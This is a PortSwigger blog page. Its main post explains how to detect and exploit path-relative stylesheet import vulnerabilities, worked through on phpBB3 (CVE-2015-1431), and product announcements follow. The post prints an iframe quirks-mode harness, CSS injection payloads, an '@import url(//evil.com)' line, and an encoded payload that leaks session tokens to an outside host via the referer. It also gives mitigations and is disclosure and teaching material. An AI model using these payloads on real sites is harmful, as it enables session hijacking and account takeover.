login

Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Tuesday, 17 February 2015

Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Early last year Gareth Heyes unveiled a fascinating new technique for attacking web applications by exploiting path-relative stylesheet imports, and dubbed it ‘Relative Path Overwrite’. This attack tricks browsers into importing HTML pages as stylesheets by abusing the path handling features of many common web languages and frameworks. Thanks to extremely tolerant stylesheet parsing, this can frequently be used to inject malicious CSS and hijack user accounts.

This technique is currently quite esoteric, so it’s often effective against sites that have already been subjected to professional or crowdsourced audits. However, successfully exploiting it in a real world environment involves navigating an array of arcane browser internals that often aren't otherwise highly relevant to pentesters. This post aims to help out by walking through the process of identifying and exploiting this issue, using a real vulnerability in the popular bulletin board software phpBB3 as a worked example.

The fundamentals

Webpages can use path-relative links to load content from nearby folders. For example, say a browser loads

http://example.com/phpBB3/viewforum.php?f=2

and this page uses the following statement to import an external stylesheet: 

<link href="styles/prosilver/theme/print.css" rel="stylesheet" type="text/css"/>

The absence of a leading / indicates that the browser should interpret it relative to the current page’s folder. The web browser will calculate this folder (/phpBB3/) from the current URL, and grab the stylesheet from:

http://example.com/phpBB3/styles/prosilver/theme/print.css 

So far so good. However, thanks to a feature of PHP (and .NET, JSP and many frameworks*), the same original page can be accessed by browsing to:

http://example.com/phpBB3/viewforum.php/anything/here?f=2

Parsing URLs is tricky, and web browsers are oblivious to this feature so they will misinterpret this URL as referring to a file called ‘here’ in the ‘/phpBB3/viewforum.php/anything/’ folder and attempt to import the following page as a stylesheet:

http://example.com/phpBB3/viewforum.php/anything/styles/
prosilver/theme/print.css

The server will view this as a second request to /phpBB3/viewforum.php, and serve an HTML response.

Exploiting Quirks

What happens when a browser tries to load an HTML page as a stylesheet? It depends on whether the importing page was rendered in ‘Quirks mode’. Quirks mode was designed to gracefully handle the poorly coded websites common in the early days of the web. If Quirks mode is active, the browser will happily ignore the ‘Content-Type: text/html’ header and parse the document looking for any CSS to execute. If not, the browser will refuse to parse it, and display a helpful message in the developer tools:

The stylesheet was not loaded because its MIME type, "text/html", is not "text/css". No live internal IPs were disclosed in the making of this.

Or:

SEC7113: CSS was ignored due to mime type mismatch

This means that to create a working exploit we need the page to be rendered in Quirks mode. Quirks mode is triggered automatically when a HTML page fails to set a doctype, or uses an old one like:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

See the table near the bottom of https://hsivonen.fi/doctype/ for a fairly comprehensive list of which doctypes trigger this behaviour.

Fortunately for us, there is a way to trigger Quirks mode even when the page uses a modern doctype. Internet Explorer allows document modes to be inherited through iframes, so we can force any page to be loaded in Quirks mode by framing it*. phpBB3 doesn’t use any effective anti-framing measures, so we can proceed using this attack route. The following HTML uses a meta tag to ensure Quirks mode is activated, then loads the target page:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe src=http://example.com/phpBB3/viewforum.php/foo/bar

We can confirm that this has worked by noting that although the CSS is still broken, the ‘CSS was ignored due to mime type mismatch’ messages have disappeared. In certain rare situations an oblivious server may detect that the filename ends in ‘.css’ and set ‘Content-Type: text/css’ automatically, removing the need for Quirks mode.

Injecting CSS

Now that we have got the browser to import a HTML page as a stylesheet, we just need a way to get our malicious CSS into position. Since CSS parsers are so tolerant, it doesn’t really matter where in the HTML tree the payload lands. All we need to do is inject the following minimal payload:

%0A{}*{color:red;}

The leading %0A{} is necessary to get the CSS parser into the correct state to handle the *{ selector, and the %0A can be omitted if you aren’t inside a quoted string.

Depending on what the page displays, the payload could originate from a classic persistent input, or the user’s session, referrer, path or cookie. Our target page reflects the path, so we’ll use that:

http://example.com/phpBB3/search.php/%0A{}*{color:red;}///

which returns:

<link rel="alternate" type="application/atom+xml" title="Feed - yourdomain.com" href="http://example.com/phpBB3/search.php/
{}*{color:red;}//styles/prosilver/theme/feed.php" />

If we place this URL in the iframe we prepared earlier, we can see the injected CSS taking effect:


Malicious CSS

To load an external stylesheet of arbitrary length, just replace the *{color: red;} payload with @import url(//evil.com). Being able to execute arbitrary CSS on someone else’s domain opens the door to all kinds of carnage:
In some situations Internet Explorer refuses to send cookies to iframed sites due to P3P. This limits attacks to unauthenticated content grabbing, such as scraping passwords from internal corporate wikis. Fortunately for us, this problem doesn't affect intranet sites or sites with a solid P3P policy, and P3P is not even implemented in Windows 10 - see A Quick Look at P3P for more information.

The last approach might sound quite implausible, but that’s exactly what phpBB3 does. Whenever a logged in user visits

http://example.com/phpBB3/adm/index.php

the server redirects them to

http://example.com/phpBB3/adm/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8

where ‘sid’ is their session key, fresh out their cookie. This key is then appended to a path relative stylesheet imports:

<link href="./../style.php?id=1&amp;lang=en&amp;sid=6a37bda1ee5b560e1e70395cfb8b11d8" rel="stylesheet" type="text/css"

We can abuse this by constructing a payload which discloses the entire session token in a single request, via the HTTP referrer header. The source for this attack is:

<html><head><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"></head><body><iframe width="90%" height="90%" src="http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D
%250C%40import%2509%2527/////portswigger.net/css/ps.css%2527
%253b%250C/a/b/c/d/e/f"></iframe>

The attack URL is a bit messy because I had to double-URL encode it to get through the initial redirect. Also, the redirect encoded and filtered spaces and newlines, so I replaced them with tab and ‘form feed’ characters instead respectively, courtesy of http://html5sec.org/#45

It triggers the following sequence of events when loaded in Internet Explorer by a user logged in to phpBB:
  • The meta statement triggers Quirks mode. 
  • The site loads the following URL in an iframe: http://192.168.181.149/phpBB3/adm/index.php/%250C%257B%257D%250C%40
    import%2509%2527/////portswigger.net/css/ps.css%2527%253b%250C/a/b/c
    /d/e/f
  • This results in a redirect to: http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27
    ///portswigger.net/css/ps.css%27%3b%0C/a/b/c/d/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8 
  • The users’ browser renders this page and tries to load the following HTML page as a stylesheet: http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import%09%27
    ///portswigger.net/css/ps.css%27%3b%0C/a/b/c/style.php?id=1&lang=en&sid=6a37bda1ee5b560e1e70395cfb8b11d8
  • When processing this page, the CSS parser reaches and executes the following statement injected via the URL: @import '//portswigger.net/css/ps.css'
This makes the browser leak the session id by trying to fetch http://portswigger.net/css/ps.css with the following referer header: 

http://192.168.181.149/phpBB3/adm/index.php/%0C%7B%7D%0C@import
%09%27///portswigger.net/css/ps.css%27%3b%0C/a/b/c/d/index.php?sid=6a37bda1ee5b560e1e70395cfb8b11d8

Request triggered by phpBB3 to http://portswigger.net


Request to http://portswigger.net disclosing SID in the referer header

Obtaining the sid token grants us access to the target's session, but for one final catch. phpBB3 associates session tokens with IP addresses by default, so in a remote attack scenario you’d need to proxy through the victim’s browser using DNS rebinding, an attack that's possible in all major browsers but sadly beyond the scope of this writeup.

Automatic detection

Hopefully this post has enough detail for you to find this vulnerability using nothing but coffee and a web browser. However, if you're looking for something a bit more scalable, Burp Suite's passive scanner automatically recognises and reports pages containing path-relative stylesheet imports that may be susceptible to content-sniffing. Launching an active scan will follow up on this and verify that the server has the path-handling features necessary to trigger a misguided import:


The final step of injecting CSS is (currently) left as an exercise for the user.

Securing applications

The example vulnerability in phpBB3 was classified as CVE-2015-1431, and fixed in version 3.0.13.

The root problem can be resolved by not using path-relative links on systems with flexible path-handling. Finally, the vulnerability can be mitigated using the following best practise steps, which may look awfully familiar:
  • Set the server header X-Frame-Options: deny on all pages 
  • Set the server header X-Content-Type-Options: nosniff on all pages 
  • Set a modern doctype (eg: <!doctype html>) on all pages

Conclusions

Avoiding this vulnerability is easy enough, but I think the way it arose in the first place is an excellent example of tolerance and flexibility conflicting with security. This issue simply wouldn't exist without garbage-happy CSS parsing, browsers bending rules and content-sniffing to render noncompliant web pages, or web frameworks redefining URL components as a pseudo query-string.

* The syntax to attack JSP applications is slightly different: http://example.com/index.jsp;anything/here

Thursday, 22 January 2015

Burp Suite Support Center

We're pleased to announce the arrival of the new Burp Suite Support Center:

The Support Center is a single portal where you can:
  • Read helpful articles on using Burp
  • Search all content
  • Engage in community discussions
  • Send private emails to the Burp Suite support team
  • View all of your support interactions with us
  • Watch tutorial videos (coming soon)
We'll be steadily updating the articles on the Support Center in the months ahead to cover all aspects of using Burp. The community discussions area of the Support Center replaces the existing user forum.

Visit the Support Center >

Thursday, 1 January 2015

Burp Suite Pro price held for 2015

Yet another year has just gone by in which the price of Burp Suite Pro has held steady. Burp has cost $299 for over three years now.

In that time, we've released 47 updates, and added tons of new features. In the last year alone, we've made the following improvements to Burp:
  • The new BApp Store, for sharing community-authored Burp extensions.
  • Support for WebSockets messages.
  • Improved Spider link discovery and WIVET score.
  • Support for nested scan insertion points, enabling Burp to automatically scan complex data structures, such as JSON within XML within a URL parameter.
  • A brand new static code analysis engine, enabling Burp to reliably report DOM XSS and a dozen other new DOM-based issues.
  • Scanner checks for several new types of vulnerability, including:
    • Perl code injection
    • PHP code injection
    • Ruby code injection
    • Server-side JavaScript code injection
    • File path manipulation
    • Serialized object in HTTP message
    • Cross-site request forgery
  • Significant enhancements to existing scan checks, including XSS, SQL injection, OS command injection and file path traversal.
  • A new mechanism for anonymous reporting of Burp's performance, which has enabled us to resolve several edge case bugs and improve Burp's general stability.
  • Numerous other minor enhancements throughout Burp.
All updates are made available to licensed users without any additional charge.

Today, we pledge that we will not increase the USD price of Burp Suite Pro during 2015. Instead of hiking the price, we'll continue to add great new features. Work is already far advanced on some big new features that will further empower Burp users during the course of 2015.

Happy new year!

Thursday, 9 October 2014

Burp integrates with WebInspect

We're very pleased to announce that Burp is now integrated with the WebInspect vulnerability scanner, thanks to a new extension created by the WebInspect team. People who make use of both Burp and WebInspect can use this integration to share findings between the two products, and make your testing workflows more efficient.

To use the integration, first install the WebInspect Connector extension from the BApp Store. Then, in the WebInspect tab, enter the API URL for your instance of WebInspect (for example: http://localhost:8083/webinspect), and click "Connect":


The UI will display the list of WebInspect scans:


To start working with a WebInspect scan, select it from the list and click "Attach to scan". A new tab will open showing the results of the scan:


You can send items from WebInspect to Burp by selecting one or multiple vulnerabilities in the WebInspect scan tab, and use the context menu to perform the following actions:
  • Send to Spider
  • Send to Intruder
  • Send to Repeater
  • Create issue - this will add the vulnerability to Burp Scanner's results

Issues created in Burp's results are tagged with "[WebInspect]":


You can send items from Burp to WebInspect as follows:
  • Select one or multiple issues in the Burp Scanner results.
  • Use the context menu option "Send to WebInspect".
  • Select an open WebInspect scan.

This will create the issue in WebInspect, and will also create a crawling session based on the selected base request. Issues created in WebInspect's results are tagged with "[Burp]":


We hope that people who use both Burp and WebInspect will find the integration helpful. We plan to announce further integrations between Burp and other leading web security products in the coming months.

Wednesday, 1 October 2014

PortSwigger receives highest score in Manual Web Penetration Testing in Gartner’s Critical Capabilities for Application Security Testing report

In September 2014, Gartner released its Critical Capabilities for Application Security Testing report.

Gartner gave PortSwigger the highest score for manual web penetration testing reflecting 1 out of the 7 use cases in its Critical Capabilities for Application Security Testing report. This new report which reviewed and ranked vendors according to various critical capabilities and use cases saw PortSwigger’s product receive a 4.43 out of a possible 5, the highest product score for its manual web penetration testing use case.

Dafydd Stuttard, founder of PortSwigger Web Security said “It is great that the Gartner report gave us the highest score for its manual web penetration testing use case. We set out to provide the best tool on the market for penetration testing, and we believe our score in this report demonstrates our achievements in this area. We will continue developing Burp Suite to ensure it offers our users cutting-edge capabilities at an affordable price point.

He continues: “We have an ambitious roadmap for our product; users can expect to see our approach for excellence mirrored in many more product enhancements and features. Many of these will see Burp Suite develop the other critical capabilities Gartner has highlighted as key within this market.”

This latest report is designed to be used in conjunction with the Gartner Magic Quadrant for Application Security testing, published by Joseph Feiman & Neil MacDonald on 1 July 2014, which saw PortSwigger move into the ‘Challengers’ quadrant. Together these reports give readers in-depth insight into this important technology market.

For information about PortSwigger Web Security, or to buy or request a trial of Burp Suite, please visit portswigger.net.


PortSwigger Web Security is a global leader in the creation of software tools for security testing of web applications. For nearly a decade, we have worked at the cutting edge of the web security industry, and our suite of tools is well established as the de facto standard toolkit used by web security professionals.

Gartner disclaimer: Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Monday, 11 August 2014

PortSwigger moves into “Challengers” Quadrant in 2014 Gartner Magic Quadrant for Application Security Testing for its web security solution

In July 2014 Gartner released its annual Magic Quadrant for Application Security Testing.

The report published by analysts Joseph Feiman and Neil MacDonald evaluates organizations based on ‘completeness of vision’ and ‘ability to execute’. Gartner have positioned PortSwigger Web Security in the ‘challengers’ quadrant, and according to the report:
“Challengers in this magic quadrant are vendors that have executed consistently, typically by focusing on a single technology. In addition, they have demonstrated substantial competitive capabilities against the leaders in this particular focus area and also have demonstrated momentum in their customer base in overall size and growth.”
Dafydd Stuttard, founder of PortSwigger Web Security, said: “We are delighted that Gartner have recognized us as a challenger in this market. Burp Suite is a powerful web scanning tool, and is extremely competitively priced. It is one of the most widely adopted tools in the market, with users in over 90 countries and a majority of the Fortune 100 companies. Burp Suite provides its users with exceptional capabilities and value for money.”

In this new report, Feiman and MacDonald state that “Global-scale scandals around critical applications’ breaches have highlighted the need for effective detection of exploitable application security vulnerabilities. Application security testing is the solution for web, cloud and mobile applications”.

In the past year, PortSwigger Web Security has accelerated its investment in Burp Suite, and expanded its core team. We have a very ambitious roadmap for the product, driven by the continual changes in web security and our customers’ requirements. We have some major product enhancements planned through 2014 and 2015, which will continue to raise the bar in web security testing.

For information about PortSwigger Web Security, and to trial Burp Suite, please visit portswigger.net.


PortSwigger Web Security is a global leader in the creation of software tools for security testing of web applications. For nearly a decade, we have worked at the cutting edge of the web security industry, and our suite of tools is well established as the de facto standard toolkit used by web security professionals.

Gartner disclaimer: Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Monday, 28 July 2014

Burp gets new JavaScript analysis capabilities

The latest release of Burp includes a new engine for static analysis of JavaScript code. This enables Burp Scanner to report a range of new vulnerabilities, including:
  • DOM-based XSS
  • JavaScript injection
  • Client-side SQL injection
  • WebSocket hijacking
  • Local file path manipulation
  • DOM-based open redirection
  • Cookie manipulation
  • Ajax request header manipulation
  • DOM-based denial of service
  • Web message manipulation
  • HTML5 storage manipulation

In the initial release, the new functionality is officially experimental, and will be enhanced in future releases based on user feedback. The key areas for further enhancement are as follows:
  • Burp supports most core JavaScript language features, including local and global variables, function calls and return values, assignments, arrays, and relevant platform APIs. Two important language features are not supported: object dereferences and function pointer variables. Some vulnerabilities that are dependent on these language features are not currently reported.
  • Static code analysis is resource intensive. We have worked hard on the code analysis engine to minimize memory and CPU consumption, and its performance has been extensively tested against real-world code. However, there is more work yet to do in this area, and in the initial release it may be necessary to (a) increase the memory that is assigned to the Java process; (b) restrict static code analysis to key targets of interest; (c) configure a suitable maximum analysis time for complex items. See the static code analysis options for more details.
  • In a future release, we may provide a UI similar to the active scan queue, containing a view of pending and current code analysis tasks, and enabling the user to pause, resume or cancel individual tasks.
  • Some further refinement may be necessary of Burp's rules for identifying tainted sources and dangerous sinks, and mapping these to vulnerability types.
Despite the above opportunities for enhancement, the current functionality is sufficiently powerful that it would be wrong for us to sit on it any longer, and it's time for users to try it out in real-world situations. Feedback is actively welcomed about the new capabilities, to help drive the above and other improvements.

How does Burp's code analysis work? We don't simply match suspicious code based on patterns, which is too error-prone and only finds the simplest bugs. We don't execute the code, or fuzz the DOM in an instrumented browser, as this can lead to worse performance problems, many missed vulnerabilities, and poor code coverage due to missed execution branches. We don't employ any external dependencies as these can be brittle and a pain for users to set up.

Rather, Burp contains a home-grown language parser and dataflow analysis engine. We identify places in the code where data is read from potentially tainted sources within the DOM, and trace this data through possible execution paths in the code. If the data can reach a dangerous sink, then a potential vulnerability is reported. This is not, of course, a new approach to static code analysis, but there are many challenges in the details that we believe we have solved in novel and effective ways.

Have fun!

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2015 PortSwigger Ltd. All rights reserved.